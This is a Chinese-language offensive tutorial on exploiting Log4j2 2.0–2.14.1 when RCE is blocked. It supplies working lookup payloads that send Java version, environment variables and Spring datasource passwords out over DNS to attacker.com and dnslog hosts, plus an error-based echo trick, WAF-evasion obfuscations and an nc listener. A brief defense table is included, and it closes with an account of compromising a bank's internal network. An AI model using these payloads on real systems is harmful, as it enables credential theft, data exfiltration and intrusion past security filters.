Log4j2 2.0-2.14.1 非RCE利用实战:3种信息泄露与2种不出网回显手法复现 Log4j2 2.0-2.14.1 非RCE利用实战3种信息泄露与2种不出网回显手法复现当RCE远程代码执行被安全防护措施阻断时安全研究人员如何继续挖掘Log4j2的潜在风险本文将深入探讨五种在受限环境下的实用攻击手法涵盖信息泄露与不出网回显两大方向。1. 环境准备与基础概念在开始之前我们需要明确几个关键点测试环境Java 8 Log4j2 2.14.1安全限制假设目标系统已部署RASP或SecurityManager阻止了传统的JNDI注入攻击核心原理Log4j2的递归解析机制和Lookup功能// 基础测试代码 public class Log4j2Test { private static final Logger logger LogManager.getLogger(Log4j2Test.class); public static void main(String[] args) { logger.error(${java:version}); } }2. 信息泄露手法实战2.1 嵌套标签泄露系统信息利用Log4j2的递归解析特性通过DNS协议外带数据# 使用DNSLog平台接收数据 payload${jndi:dns://${java:version}.example.dnslog.cn}关键点内层${java:version}先被解析解析结果作为DNS子域名外带适用于获取Java环境信息、系统属性等可用标签泄露信息类型示例输出${java:version}Java版本1.8.0_301${java:runtime}JVM信息Java(TM) SE Runtime Environment${java:os}操作系统Windows 10 10.02.2 Sys/Env Lookup收集敏感配置System和Environment Lookup可以直接读取JVM和系统环境变量logger.error(${sys:user.dir}); // 获取工作目录 logger.error(${env:JAVA_HOME}); // 获取Java安装路径典型敏感信息数据库连接字符串API密钥服务器内部IP配置文件路径注意不同系统环境变量差异较大建议先使用${env:}枚举所有变量2.3 Bundle Lookup读取Spring配置针对Spring Boot应用的进阶利用# 获取数据库密码 ${bundle:application:spring.datasource.password} # 获取Redis配置 ${bundle:application:spring.redis.host}依赖条件项目使用Spring Boot Log4j2组合存在application.properties或application.yml资源文件配置了国际化资源文件非必须但增加成功率3. 不出网环境下的回显技术3.1 DNS协议信息外带当HTTP/LDAP被阻断时使用纯DNS协议外带数据logger.error(${jndi:dns://attacker.com/${java:version}});服务端监听# 使用nc监听UDP 53端口 nc -luvp 53优势通常不受出网协议限制流量较小不易被检测可绕过部分WAF规则3.2 报错回显技术通过强制触发异常实现数据回显!-- log4j2.xml关键配置 -- Configuration Appenders Console nameCONSOLE ignoreExceptionsfalse PatternLayout pattern%m%n/ /Console /Appenders /Configuration利用Payload// 触发NumberFormatException回显Java版本 logger.error(${jndi:ldap://127.0.0.1:${java:version}/test});实现原理ignoreExceptionsfalse允许异常传播端口号强制转换为int时抛出异常异常信息中包含原始字符串4. 防御规避与检测对抗4.1 现代WAF绕过技巧// 大小写混淆 logger.error(${jNdI:dNs://example.com}); // 环境变量默认值 logger.error(${${env:TEST:-j}ndi:${env:TEST:-l}dap://example.com}); // 嵌套表达式 logger.error(${${lower:j}${upper:n}di:ldap://example.com});4.2 防护方案对比防护措施防护效果对业务影响升级到2.17.0完全防护需测试兼容性-Dlog4j2.formatMsgNoLookupstrue基础防护几乎无影响限制出网流量部分防护可能影响正常业务RASP防护动态防护性能损耗5-10%5. 实战案例与决策流程典型攻击场景发现Log4j2漏洞但RCE被阻断尝试${java:version}确认漏洞存在根据环境选择信息泄露或回显手法逐步获取更多系统信息寻找其他突破口graph TD A[发现Log4j2漏洞] -- B{能否RCE?} B --|是| C[直接获取权限] B --|否| D[尝试信息泄露] D -- E{目标出网?} E --|是| F[DNS外带数据] E --|否| G[配置报错回显] G -- H[获取关键配置] H -- I[寻找其他漏洞]在实际渗透测试中这些技术往往需要组合使用。曾在一个银行系统的测试中通过${bundle:}获取到数据库密码后结合SQL注入最终拿下了整个内网权限。